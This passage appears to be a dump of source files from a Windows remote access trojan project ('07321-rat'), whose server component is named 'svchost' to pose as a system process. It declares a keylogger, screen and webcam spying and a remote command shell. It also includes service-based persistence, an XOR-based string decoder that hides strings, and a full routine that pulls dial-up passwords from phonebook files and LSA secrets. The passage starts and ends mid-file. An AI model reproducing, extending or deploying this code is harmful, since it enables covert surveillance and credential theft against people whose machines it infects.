int SendWithSplit(LPBYTE lpData, UINT nSize, UINT nSplitSize);
bool m_bIsRunning;
CManager *m_pManager;
};
#endif // !defined(AFX_CLIENTSOCKET_H__1902379A_1EEB_4AFE_A531_5E129AF7AE95__INCLUDED_)
| 07321-rat | trunk/Server/svchost/ClientSocket.h | C++ | asf20 | 2,387 |
//{{NO_DEPENDENCIES}}
// Microsoft Developer Studio generated include file.
// Used by svchost.rc
//
#define IDR_SYS 102
// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 107
#define _APS_NEXT_COMMAND_VALUE 40001
#define _APS_NEXT_CONTROL_VALUE 1000
#define _APS_NEXT_SYMED_VALUE 101
#endif
#endif
| 07321-rat | trunk/Server/svchost/resource.h | C | asf20 | 456 |
// Buffer.cpp: implementation of the CBuffer class.
//
//////////////////////////////////////////////////////////////////////
#include "Buffer.h"
#include "math.h"
#ifdef _DEBUG
#undef THIS_FILE
static char THIS_FILE[]=__FILE__;
#define new DEBUG_NEW
#endif
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: CBuffer
//
// DESCRIPTION: Constructs the buffer with a default size
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
CBuffer::CBuffer()
{
// Initial size
m_nSize = 0;
m_pPtr = m_pBase = NULL;
InitializeCriticalSection(&m_cs);
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: ~CBuffer
//
// DESCRIPTION: Deallocates the buffer
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
CBuffer::~CBuffer()
{
if (m_pBase)
VirtualFree(m_pBase, 0, MEM_RELEASE);
DeleteCriticalSection(&m_cs);
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: Write
//
// DESCRIPTION: Writes data into the buffer
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
BOOL CBuffer::Write(PBYTE pData, UINT nSize)
{
EnterCriticalSection(&m_cs);
if (ReAllocateBuffer(nSize + GetBufferLen()) == -1)
{
LeaveCriticalSection(&m_cs);
return false;
}
CopyMemory(m_pPtr,pData,nSize);
// Advance Pointer
m_pPtr+=nSize;
LeaveCriticalSection(&m_cs);
return nSize;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: Insert
//
// DESCRIPTION: Insert data into the buffer
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
BOOL CBuffer::Insert(PBYTE pData, UINT nSize)
{
EnterCriticalSection(&m_cs);
if (ReAllocateBuffer(nSize + GetBufferLen()) == -1)
{
LeaveCriticalSection(&m_cs);
return false;
}
MoveMemory(m_pBase+nSize,m_pBase,GetMemSize() - nSize);
CopyMemory(m_pBase,pData,nSize);
// Advance Pointer
m_pPtr+=nSize;
LeaveCriticalSection(&m_cs);
return nSize;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: Read
//
// DESCRIPTION: Reads data from the buffer and deletes what it reads
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
UINT CBuffer::Read(PBYTE pData, UINT nSize)
{
EnterCriticalSection(&m_cs);
// Trying to byte off more than ya can chew - eh?
if (nSize > GetMemSize())
{
LeaveCriticalSection(&m_cs);
return 0;
}
// all that we have
if (nSize > GetBufferLen())
nSize = GetBufferLen();
if (nSize)
{
// Copy over required amount and its not up to us
// to terminate the buffer - got that!!!
CopyMemory(pData,m_pBase,nSize);
// Slide the buffer back - like sinking the data
MoveMemory(m_pBase,m_pBase+nSize,GetMemSize() - nSize);
m_pPtr -= nSize;
}
DeAllocateBuffer(GetBufferLen());
LeaveCriticalSection(&m_cs);
return nSize;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: GetMemSize
//
// DESCRIPTION: Returns the phyical memory allocated to the buffer
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
UINT CBuffer::GetMemSize()
{
return m_nSize;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: GetBufferLen
//
// DESCRIPTION: Get the buffer 'data' length
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
UINT CBuffer::GetBufferLen()
{
if (m_pBase == NULL)
return 0;
int nSize =
m_pPtr - m_pBase;
return nSize;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: ReAllocateBuffer
//
// DESCRIPTION: ReAllocateBuffer the Buffer to the requested size
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
UINT CBuffer::ReAllocateBuffer(UINT nRequestedSize)
{
if (nRequestedSize < GetMemSize())
return 0;
// Allocate new size
UINT nNewSize = (UINT) ceil(nRequestedSize / 1024.0) * 1024;
// New Copy Data Over
PBYTE pNewBuffer = (PBYTE) VirtualAlloc(NULL,nNewSize,MEM_COMMIT,PAGE_READWRITE);
if (pNewBuffer == NULL)
return -1;
UINT nBufferLen = GetBufferLen();
CopyMemory(pNewBuffer,m_pBase,nBufferLen);
if (m_pBase)
VirtualFree(m_pBase,0,MEM_RELEASE);
// Hand over the pointer
m_pBase = pNewBuffer;
// Realign position pointer
m_pPtr = m_pBase + nBufferLen;
m_nSize = nNewSize;
return m_nSize;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: DeAllocateBuffer
//
// DESCRIPTION: DeAllocates the Buffer to the requested size
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
UINT CBuffer::DeAllocateBuffer(UINT nRequestedSize)
{
if (nRequestedSize < GetBufferLen())
return 0;
// Allocate new size
UINT nNewSize = (UINT) ceil(nRequestedSize / 1024.0) * 1024;
if (nNewSize < GetMemSize())
return 0;
// New Copy Data Over
PBYTE pNewBuffer = (PBYTE) VirtualAlloc(NULL,nNewSize,MEM_COMMIT,PAGE_READWRITE);
UINT nBufferLen = GetBufferLen();
CopyMemory(pNewBuffer,m_pBase,nBufferLen);
VirtualFree(m_pBase,0,MEM_RELEASE);
// Hand over the pointer
m_pBase = pNewBuffer;
// Realign position pointer
m_pPtr = m_pBase + nBufferLen;
m_nSize = nNewSize;
return m_nSize;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: Scan
//
// DESCRIPTION: Scans the buffer for a given byte sequence
//
// RETURNS: Logical offset
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
int CBuffer::Scan(PBYTE pScan,UINT nPos)
{
if (nPos > GetBufferLen() )
return -1;
PBYTE pStr = (PBYTE) strstr((char*)(m_pBase+nPos),(char*)pScan);
int nOffset = 0;
if (pStr)
nOffset = (pStr - m_pBase) + strlen((char*)pScan);
return nOffset;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: ClearBuffer
//
// DESCRIPTION: Clears/Resets the buffer
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
void CBuffer::ClearBuffer()
{
EnterCriticalSection(&m_cs);
// Force the buffer to be empty
m_pPtr = m_pBase;
DeAllocateBuffer(1024);
LeaveCriticalSection(&m_cs);
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: Copy
//
// DESCRIPTION: Copy from one buffer object to another...
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
void CBuffer::Copy(CBuffer& buffer)
{
int nReSize = buffer.GetMemSize();
int nSize = buffer.GetBufferLen();
ClearBuffer();
if (ReAllocateBuffer(nReSize) == -1)
return;
m_pPtr = m_pBase + nSize;
CopyMemory(m_pBase,buffer.GetBuffer(),buffer.GetBufferLen());
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: GetBuffer
//
// DESCRIPTION: Returns a pointer to the physical memory determined by the offset
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
PBYTE CBuffer::GetBuffer(UINT nPos)
{
return m_pBase+nPos;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: Delete
//
// DESCRIPTION: Delete data from the buffer and deletes what it reads
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
UINT CBuffer::Delete(UINT nSize)
{
// Trying to byte off more than ya can chew - eh?
if (nSize > GetMemSize())
return 0;
// all that we have
if (nSize > GetBufferLen())
nSize = GetBufferLen();
if (nSize)
{
// Slide the buffer back - like sinking the data
MoveMemory(m_pBase,m_pBase+nSize,GetMemSize() - nSize);
m_pPtr -= nSize;
}
DeAllocateBuffer(GetBufferLen());
return nSize;
} | 07321-rat | trunk/Server/svchost/common/Buffer.cpp | C++ | asf20 | 10,478 |
// Buffer.h: interface for the CBuffer class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_BUFFER_H__829F6693_AC4D_11D2_8C37_00600877E420__INCLUDED_)
#define AFX_BUFFER_H__829F6693_AC4D_11D2_8C37_00600877E420__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include <windows.h>
class CBuffer
{
// Attributes
protected:
PBYTE m_pBase;
PBYTE m_pPtr;
UINT m_nSize;
// Methods
protected:
UINT ReAllocateBuffer(UINT nRequestedSize);
UINT DeAllocateBuffer(UINT nRequestedSize);
UINT GetMemSize();
public:
void ClearBuffer();
UINT Delete(UINT nSize);
UINT Read(PBYTE pData, UINT nSize);
BOOL Write(PBYTE pData, UINT nSize);
UINT GetBufferLen();
int Scan(PBYTE pScan,UINT nPos);
BOOL Insert(PBYTE pData, UINT nSize);
void Copy(CBuffer& buffer);
PBYTE GetBuffer(UINT nPos=0);
CBuffer();
virtual ~CBuffer();
private:
CRITICAL_SECTION m_cs;
};
#endif // !defined(AFX_BUFFER_H__829F6693_AC4D_11D2_8C37_00600877E420__INCLUDED_)
| 07321-rat | trunk/Server/svchost/common/Buffer.h | C++ | asf20 | 1,059 |
// VideoManager.h: interface for the CVideoManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_VIDEOMANAGER_H__1EE359F0_BFFD_4B8F_A52E_A8DB87656B91__INCLUDED_)
#define AFX_VIDEOMANAGER_H__1EE359F0_BFFD_4B8F_A52E_A8DB87656B91__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
#include "VideoCap.h"
class CVideoManager : public CManager
{
public:
void Destroy();
bool Initialize();
CVideoManager(CClientSocket *pClient);
virtual ~CVideoManager();
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
void sendBITMAPINFO();
void sendNextScreen();
bool m_bIsWorking;
private:
CVideoCap *m_pVideoCap;
HANDLE m_hWorkThread;
static DWORD WINAPI WorkThread(LPVOID lparam);
};
#endif // !defined(AFX_VIDEOMANAGER_H__1EE359F0_BFFD_4B8F_A52E_A8DB87656B91__INCLUDED_)
| 07321-rat | trunk/Server/svchost/common/VideoManager.h | C++ | asf20 | 902 |
static char base64[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
static int pos(char c)
{
char *p;
for(p = base64; *p; p++)
if(*p == c)
return p - base64;
return -1;
}
int base64_decode(const char *str, char **data)
{
const char *s, *p;
unsigned char *q;
int c;
int x;
int done = 0;
int len;
s = (const char *)malloc(strlen(str));
q = (unsigned char *)s;
for(p=str; *p && !done; p+=4){
x = pos(p[0]);
if(x >= 0)
c = x;
else{
done = 3;
break;
}
c*=64;
x = pos(p[1]);
if(x >= 0)
c += x;
else
return -1;
c*=64;
if(p[2] == '=')
done++;
else{
x = pos(p[2]);
if(x >= 0)
c += x;
else
return -1;
}
c*=64;
if(p[3] == '=')
done++;
else{
if(done)
return -1;
x = pos(p[3]);
if(x >= 0)
c += x;
else
return -1;
}
if(done < 3)
*q++=(c&0x00ff0000)>>16;
if(done < 2)
*q++=(c&0x0000ff00)>>8;
if(done < 1)
*q++=(c&0x000000ff)>>0;
}
len = q - (unsigned char*)(s);
*data = (char*)realloc((void *)s, len);
return len;
}
char* MyDecode(char *str)
{
int i, len;
char *data = NULL;
len = base64_decode(str, &data);
for (i = 0; i < len; i++)
{
data[i] -= 0x86;
data[i] ^= 0x19;
}
return data;
} | 07321-rat | trunk/Server/svchost/common/decode.h | C | asf20 | 1,410 |
// Dialupass.h: interface for the CDialupass class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_DIALUPASS_H__B0BBD3E2_526C_4B10_A877_95E6D12F31D2__INCLUDED_)
#define AFX_DIALUPASS_H__B0BBD3E2_526C_4B10_A877_95E6D12F31D2__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include <windows.h>
#include <ras.h>
#include <raserror.h>
#include <shlobj.h>
#include <ntsecapi.h>
#pragma comment(lib, "rasapi32.lib")
#define STR_DialParamsUID 0
#define STR_Name 1
#define STR_User 2
#define STR_Password 3
#define STR_PhoneNumber 4
#define STR_Device 5
#define STR_MAX 6
typedef struct
{
char UID[256];
char pass[256];
char login[256];
bool used;
}PASSWORDS, *PPASSWORDS;
class COneInfo{
private:
char *Str[STR_MAX];
public:
COneInfo(void)
{
for(int i=0;i<STR_MAX;i++)
Str[i]=NULL;
}
virtual ~COneInfo(void)
{
for(int i=0;i<STR_MAX;i++){
if(Str[i]!=NULL)
delete [] Str[i];
}
}
void Set(int Kind,char *str)
{
if(str==NULL)
return;
if(Str[Kind]!=NULL){
delete [] Str[Kind];
}
Str[Kind] = new char[strlen(str)+1];
strcpy(Str[Kind],str);
}
char * Get(int Kind)
{
return Str[Kind];
}
};
class CDialupass
{
public:
CDialupass();
virtual ~CDialupass();
int GetMax(void){ return m_nMax;}
COneInfo * GetOneInfo(int n){return OneInfo[n];}
private:
LPCTSTR UTF8ToGB2312(char UTF8Str[]);
int m_nMax;
int m_nUsed;
int m_nCount;
int m_nRasCount;
char *m_lpCurrentUser;
COneInfo **OneInfo;
PASSWORDS *m_PassWords;
BOOL Set(char *DialParamsUID, char *Name,char *User,char *Password,char *PhoneNumber, char *Device);
DWORD GetRasEntryCount();
void GetLsaPasswords();
void ParseLsaBuffer(LPCWSTR Buffer,USHORT Length);
PLSA_UNICODE_STRING GetLsaData(LPSTR KeyName);
void AnsiStringToLsaStr(LPSTR AValue,PLSA_UNICODE_STRING lsa);
LPTSTR GetLocalSid();
bool GetRasEntries();
};
#endif // !defined(AFX_DIALUPASS_H__B0BBD3E2_526C_4B10_A877_95E6D12F31D2__INCLUDED_)
| 07321-rat | trunk/Server/svchost/common/Dialupass.h | C++ | asf20 | 2,103 |
// ShellManager.h: interface for the CShellManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_SHELLMANAGER_H__CCDCEFAB_AFD9_4F2C_A633_637ECB94B6EE__INCLUDED_)
#define AFX_SHELLMANAGER_H__CCDCEFAB_AFD9_4F2C_A633_637ECB94B6EE__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
class CShellManager : public CManager
{
public:
CShellManager(CClientSocket *pClient);
virtual ~CShellManager();
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
private:
HANDLE m_hReadPipeHandle;
HANDLE m_hWritePipeHandle;
HANDLE m_hReadPipeShell;
HANDLE m_hWritePipeShell;
HANDLE m_hProcessHandle;
HANDLE m_hThreadHandle;
HANDLE m_hThreadRead;
HANDLE m_hThreadMoniter;
static DWORD WINAPI ReadPipeThread(LPVOID lparam);
static DWORD WINAPI MoniterThread(LPVOID lparam);
};
#endif // !defined(AFX_SHELLMANAGER_H__CCDCEFAB_AFD9_4F2C_A633_637ECB94B6EE__INCLUDED_)
| 07321-rat | trunk/Server/svchost/common/ShellManager.h | C++ | asf20 | 1,014 |
// VideoCap.h: interface for the CVideoCap class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_VIDEOCAP_H__5D857DCE_D889_45B0_8A98_33E1DF64CDE3__INCLUDED_)
#define AFX_VIDEOCAP_H__5D857DCE_D889_45B0_8A98_33E1DF64CDE3__INCLUDED_
#include <windows.h>
#include <vfw.h>
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
class CVideoCap
{
public:
LPBITMAPINFO m_lpbmi;
static bool IsWebCam();
bool Initialize();
LPVOID GetDIB();
static LRESULT CALLBACK capErrorCallback(HWND hWnd, int nID, LPCSTR lpsz);
static LRESULT CALLBACK FrameCallbackProc(HWND hWnd, LPVIDEOHDR lpVHdr);
CVideoCap();
virtual ~CVideoCap();
private:
LPVOID m_lpDIB;
HWND m_hWnd;
HWND m_hWndCap;
bool m_bIsCapture;
static bool m_bIsConnected;
};
#endif // !defined(AFX_VIDEOCAP_H__5D857DCE_D889_45B0_8A98_33E1DF64CDE3__INCLUDED_)
| 07321-rat | trunk/Server/svchost/common/VideoCap.h | C++ | asf20 | 896 |
// ScreenManager.h: interface for the CScreenManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_SCREENMANAGER_H__737AA8BC_7729_4C54_95D0_8B1E99066D48__INCLUDED_)
#define AFX_SCREENMANAGER_H__737AA8BC_7729_4C54_95D0_8B1E99066D48__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
#include "ScreenSpy.h"
class CScreenManager : public CManager
{
public:
CScreenManager(CClientSocket *pClient);
virtual ~CScreenManager();
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
void sendBITMAPINFO();
void sendFirstScreen();
void sendNextScreen();
void WaitForDialogOpen();
bool m_bIsWorking;
bool m_bIsBlockInput;
bool m_bIsBlankScreen;
private:
bool m_bIsDialogOpen;
HANDLE m_hWorkThread, m_hBlankThread;
CScreenSpy *m_pScreenSpy;
void ResetScreen(int biBitCount);
void ProcessCommand(LPBYTE lpBuffer, UINT nSize);
static DWORD WINAPI WorkThread(LPVOID lparam);
static DWORD WINAPI ControlThread(LPVOID lparam);
void UpdateLocalClipboard(char *buf, int len);
void SendLocalClipboard();
};
#endif // !defined(AFX_SCREENMANAGER_H__737AA8BC_7729_4C54_95D0_8B1E99066D48__INCLUDED_)
| 07321-rat | trunk/Server/svchost/common/ScreenManager.h | C++ | asf20 | 1,232 |
// Manager.h: interface for the CManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_MANAGER_H__5935556F_19FF_4676_898A_3D750F2F2658__INCLUDED_)
#define AFX_MANAGER_H__5935556F_19FF_4676_898A_3D750F2F2658__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include <winsock2.h>
#include "../ClientSocket.h"
#include "macros.h"
#include "until.h"
#ifdef _CONSOLE
#include <stdio.h>
#endif
class CManager
{
friend class CClientSocket;
typedef int (*SENDPROC)(LPBYTE lpData, UINT nSize);
public:
CManager(CClientSocket *pClient);
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
int Send(LPBYTE lpData, UINT nSize);
CClientSocket *m_pClient;
private:
SENDPROC m_pSendProc;
};
#endif // !defined(AFX_MANAGER_H__5935556F_19FF_4676_898A_3D750F2F2658__INCLUDED_)
| 07321-rat | trunk/Server/svchost/common/Manager.h | C++ | asf20 | 878 |
// KeyboardManager.h: interface for the CKeyboardManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_KEYBOARDMANAGER_H__F0442063_CAAE_4BA1_B6CA_1FCB39A996AC__INCLUDED_)
#define AFX_KEYBOARDMANAGER_H__F0442063_CAAE_4BA1_B6CA_1FCB39A996AC__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
class CKeyboardManager : public CManager
{
public:
CKeyboardManager(CClientSocket *pClient);
virtual ~CKeyboardManager();
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
static HINSTANCE g_hInstance;
static DWORD m_dwLastInput;
static bool StartHook();
static void StopHook();
private:
static LRESULT CALLBACK GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam);
static void SaveInfo(char *lpBuffer);
static void SaveToFile(char *lpBuffer);
int sendOfflineRecord();
int sendStartKeyBoard();
int sendKeyBoardData(LPBYTE lpData, UINT nSize);
};
#endif // !defined(AFX_KEYBOARDMANAGER_H__F0442063_CAAE_4BA1_B6CA_1FCB39A996AC__INCLUDED_)
| 07321-rat | trunk/Server/svchost/common/KeyboardManager.h | C++ | asf20 | 1,076 |
// ScreenSpy.h: interface for the CScreenSpy class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_SCREENSPY_H__6600B30F_A7E3_49D4_9DE6_9C35E71CE3EE__INCLUDED_)
#define AFX_SCREENSPY_H__6600B30F_A7E3_49D4_9DE6_9C35E71CE3EE__INCLUDED_
#include <windows.h>
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
class CScreenSpy
{
public:
CScreenSpy(int biBitCount= 8, bool bIsGray= false, UINT nMaxFrameRate= 50);
virtual ~CScreenSpy();
LPVOID getFirstScreen();
LPVOID getNextScreen(LPDWORD lpdwBytes);
LPBITMAPINFO getBI();
UINT getBISize();
UINT getFirstImageSize();
private:
UINT m_nMaxFrameRate;
bool m_bIsGray;
DWORD m_dwLastCapture;
DWORD m_dwSleep;
LPBYTE m_rectBuffer;
UINT m_rectBufferOffset;
BYTE m_nIncSize;
int m_nFullWidth, m_nFullHeight, m_nStartLine;
RECT m_changeRect;
HDC m_hFullDC, m_hLineMemDC, m_hFullMemDC, m_hRectMemDC;
HBITMAP m_hLineBitmap, m_hFullBitmap;
LPVOID m_lpvLineBits, m_lpvFullBits;
LPBITMAPINFO m_lpbmi_line, m_lpbmi_full, m_lpbmi_rect;
int m_biBitCount;
LPBITMAPINFO ConstructBI(int biBitCount, int biWidth, int biHeight);
void CopyRect(LPRECT lpRect);
bool SelectInputWinStation();
HWND m_hDeskTopWnd;
};
#endif // !defined(AFX_SCREENSPY_H__6600B30F_A7E3_49D4_9DE6_9C35E71CE3EE__INCLUDED_)
| 07321-rat | trunk/Server/svchost/common/ScreenSpy.h | C++ | asf20 | 1,351 |
#if !defined(AFX_INSTALL_H_INCLUDED)
#define AFX_INSTALL_H_INCLUDED
#include <windows.h>
#include <Shlwapi.h>
void DeleteInstallFile();
bool IsServiceRegExists(char *lpServiceName);
bool GetServiceDllPath(char *lpServiceName, LPTSTR lpBuffer, UINT uSize);
void ReInstallService(char *lpServiceName);
DWORD QueryServiceTypeFromRegedit(char *lpServiceName);
int RecoverService(char *lpServiceName);
void RemoveService(LPCTSTR lpServiceName);
DWORD WINAPI MonitorReg(LPVOID lparam);
#endif // !defined(AFX_INSTALL_H_INCLUDED) | 07321-rat | trunk/Server/svchost/common/install.h | C | asf20 | 537 |
// SystemManager.h: interface for the CSystemManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_SYSTEMMANAGER_H__26C71561_C37D_44F2_B69C_DAF907C04CBE__INCLUDED_)
#define AFX_SYSTEMMANAGER_H__26C71561_C37D_44F2_B69C_DAF907C04CBE__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
class CSystemManager : public CManager
{
public:
CSystemManager(CClientSocket *pClient);
virtual ~CSystemManager();
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
static bool DebugPrivilege(const char *PName,BOOL bEnable);
static bool CALLBACK EnumWindowsProc( HWND hwnd, LPARAM lParam);
static void ShutdownWindows(DWORD dwReason);
private:
LPBYTE getProcessList();
LPBYTE getWindowsList();
void SendProcessList();
void SendWindowsList();
void SendDialupassList();
void KillProcess(LPBYTE lpBuffer, UINT nSize);
};
#endif // !defined(AFX_SYSTEMMANAGER_H__26C71561_C37D_44F2_B69C_DAF907C04CBE__INCLUDED_)
| 07321-rat | trunk/Server/svchost/common/SystemManager.h | C++ | asf20 | 1,038 |
// Dialupass.cpp: implementation of the CDialupass class.
//
//////////////////////////////////////////////////////////////////////
#include "Dialupass.h"
#include "until.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CDialupass::CDialupass()
{
m_nMax = 0;
m_lpCurrentUser = GetCurrentLoginUser();
m_nRasCount = GetRasEntryCount();
m_PassWords = new PASSWORDS[m_nRasCount];
OneInfo = new COneInfo* [m_nRasCount];
m_nUsed = 0;
m_nCount = 0;
GetRasEntries();
}
CDialupass::~CDialupass()
{
for(int i=0; i<m_nRasCount; i++)
delete OneInfo[i];
delete m_PassWords;
if (!m_lpCurrentUser)
delete m_lpCurrentUser;
}
DWORD CDialupass::GetRasEntryCount()
{
int nCount = 0;
char *lpPhoneBook[2];
char szPhoneBook1[MAX_PATH+1], szPhoneBook2[MAX_PATH+1];
GetWindowsDirectory(szPhoneBook1, sizeof(szPhoneBook1));
lstrcpy(strchr(szPhoneBook1, '\\') + 1, "Documents and Settings\\");
lstrcat(szPhoneBook1, m_lpCurrentUser);
lstrcat(szPhoneBook1, "\\Application Data\\Microsoft\\Network\\Connections\\pbk\\rasphone.pbk");
SHGetSpecialFolderPath(NULL,szPhoneBook2, 0x23, 0);
wsprintf(szPhoneBook2, "%s\\%s", szPhoneBook2, "Microsoft\\Network\\Connections\\pbk\\rasphone.pbk");
lpPhoneBook[0] = szPhoneBook1;
lpPhoneBook[1] = szPhoneBook2;
DWORD nSize = 1024 * 4;
char *lpszReturnBuffer = new char[nSize];
for (int i = 0; i < sizeof(lpPhoneBook) / sizeof(int); i++)
{
memset(lpszReturnBuffer, 0, nSize);
GetPrivateProfileSectionNames(lpszReturnBuffer, nSize, lpPhoneBook[i]);
for(char *lpSection = lpszReturnBuffer; *lpSection != '\0'; lpSection += lstrlen(lpSection) + 1)
{
nCount++;
}
}
delete lpszReturnBuffer;
return nCount;
}
LPTSTR CDialupass::GetLocalSid()
{
union
{
SID s;
char c[256];
}Sid;
DWORD sizeSid=sizeof(Sid);
char DomainName[256];
DWORD sizeDomainName=sizeof(DomainName);
SID_NAME_USE peUse;
LPSTR pSid;
if (m_lpCurrentUser == NULL)
return NULL;
if(!LookupAccountName(NULL,m_lpCurrentUser,(SID*)&Sid,&sizeSid,DomainName,&sizeDomainName,&peUse))return NULL;
if(!IsValidSid(&Sid))return NULL;
typedef BOOL (WINAPI *ConvertSid2StringSid)(PSID , LPTSTR *);
ConvertSid2StringSid proc;
HINSTANCE hLibrary = LoadLibrary("advapi32.dll");
proc = (ConvertSid2StringSid) GetProcAddress(hLibrary, "ConvertSidToStringSidA");
if(proc) proc((SID*)&Sid.s,&pSid);
FreeLibrary(hLibrary);
return pSid;
}
void CDialupass::AnsiStringToLsaStr(LPSTR AValue,PLSA_UNICODE_STRING lsa)
{
lsa->Length=lstrlen(AValue)*2;
lsa->MaximumLength=lsa->Length+2;
lsa->Buffer=(PWSTR)malloc(lsa->MaximumLength);
MultiByteToWideChar(NULL,NULL,(LPCSTR)AValue,lstrlen(AValue),lsa->Buffer,lsa->MaximumLength);
}
PLSA_UNICODE_STRING CDialupass::GetLsaData(LPSTR KeyName)
{
LSA_OBJECT_ATTRIBUTES LsaObjectAttribs;
LSA_HANDLE LsaHandle;
LSA_UNICODE_STRING LsaKeyName;
NTSTATUS nts;
PLSA_UNICODE_STRING OutData;
ZeroMemory(&LsaObjectAttribs,sizeof(LsaObjectAttribs));
nts=LsaOpenPolicy(NULL,&LsaObjectAttribs,POLICY_GET_PRIVATE_INFORMATION,&LsaHandle);
if(nts!=0)return NULL;
AnsiStringToLsaStr(KeyName, &LsaKeyName);
nts=LsaRetrievePrivateData(LsaHandle, &LsaKeyName,&OutData);
if(nts!=0)return NULL;
nts=LsaClose(LsaHandle);
if(nts!=0)return NULL;
return OutData;
}
/////////
void CDialupass::ParseLsaBuffer(LPCWSTR Buffer,USHORT Length)
{
char AnsiPsw[1024];
char chr,PswStr[256];
PswStr[0]=0;
WideCharToMultiByte(0,NULL,Buffer,Length,AnsiPsw,1024,0,0);
for(int i=0,SpacePos=0,TXT=0;i<Length/2-2;i++)
{
chr=AnsiPsw[i];
if(chr==0)
{
SpacePos++;
switch(SpacePos)
{
case 1:
PswStr[TXT]=chr;
strcpy(m_PassWords[m_nUsed].UID,PswStr);
break;
case 6:
PswStr[TXT]=chr;
strcpy(m_PassWords[m_nUsed].login,PswStr);
break;
case 7:
PswStr[TXT]=chr;
strcpy(m_PassWords[m_nUsed].pass,PswStr);
